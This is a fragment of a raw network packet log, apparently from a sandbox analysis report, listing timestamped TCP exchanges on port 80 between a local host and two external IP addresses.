Apr 18, 2024 23:40:05.140506983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140527010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140547037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140563965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140571117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140599966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140610933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140639067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140662909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140676022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140687943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140716076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140727043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140752077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140764952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140789032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140803099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140825033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140842915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140861988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140868902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140902042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140912056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140939951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140949965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140978098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140988111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141015053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141021967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141051054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141064882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141091108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141102076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141129971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141141891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141168118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141177893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141206980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141218901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141243935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141253948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141282082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141292095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141319990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141331911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141357899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141369104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141396046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141407013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141433954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141442060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141474009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141484022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141511917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141520023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141549110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141561985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141586065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141601086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141623020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141629934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141681910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141756058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141793966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141817093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141834021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141849995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141871929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141880035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141908884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.141918898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.141956091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.369200945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369247913 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369287968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369324923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369362116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369396925 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369407892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369407892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369407892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369407892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369435072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369453907 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369515896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369530916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369530916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369551897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369604111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369613886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369613886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369640112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369674921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369715929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369715929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369715929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369729996 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369785070 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369818926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369843006 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369843006 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369857073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369893074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369924068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369924068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369927883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369935989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369963884 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.369997025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.369999886 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370012045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370035887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370060921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370071888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370106936 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370142937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370153904 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370153904 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370153904 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370177984 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370213985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370222092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370222092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370265961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370301008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370326996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370326996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370336056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370368958 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370373011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370387077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370410919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370414019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370445967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370481968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370511055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370511055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370517015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370552063 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370587111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370596886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370596886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370596886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370621920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370657921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370692968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370728016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370760918 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370763063 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370799065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370834112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370867968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370870113 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370904922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370939016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370949030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370949030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370949030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.370974064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.370996952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371009111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371012926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371043921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371078968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371083975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371083975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371114016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371150017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371156931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371156931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371185064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371220112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371227026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371227026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371253967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371289968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371295929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371295929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371325016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371335983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371361971 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371397018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371432066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371438980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371438980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371438980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371469021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371503115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371539116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371540070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371540070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371540070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371572971 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371572971 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371608973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371628046 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371644020 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371679068 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371687889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371687889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371716022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371746063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371752024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371772051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371786118 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371823072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371856928 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371866941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371866941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371866941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371891975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371927977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371937990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371937990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371962070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.371963978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.371999979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372013092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372034073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372070074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372087002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372087002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372128963 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372134924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372167110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372183084 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372203112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372240067 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372250080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372250080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372276068 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372311115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372315884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372315884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372345924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372351885 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372380972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372399092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372416973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372430086 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372452021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372487068 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372520924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372529984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372529984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372529984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372555017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372571945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372589111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372595072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372623920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372632980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372659922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372694969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372701883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372701883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372730017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372765064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372786045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372786045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372800112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372821093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372834921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372869015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372904062 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372910976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372910976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372910976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372939110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372948885 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.372975111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.372991085 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373009920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373029947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373044014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373079062 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373085022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373085022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373114109 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373132944 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373151064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373172998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373189926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373205900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373229027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373229027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373241901 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373279095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373303890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373303890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373313904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373349905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373356104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373356104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373384953 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373400927 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373420000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373454094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373454094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373455048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373490095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373498917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373526096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373560905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373567104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373567104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373594999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373630047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373665094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373673916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373673916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373673916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373698950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373732090 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373732090 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373733997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373769045 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373802900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373810053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373810053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373837948 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373856068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373873949 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373908997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373923063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373923063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.373944998 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.373979092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374003887 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374003887 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374015093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374028921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374052048 CEST	80	49738	193.233.132.56	192.168.2.4
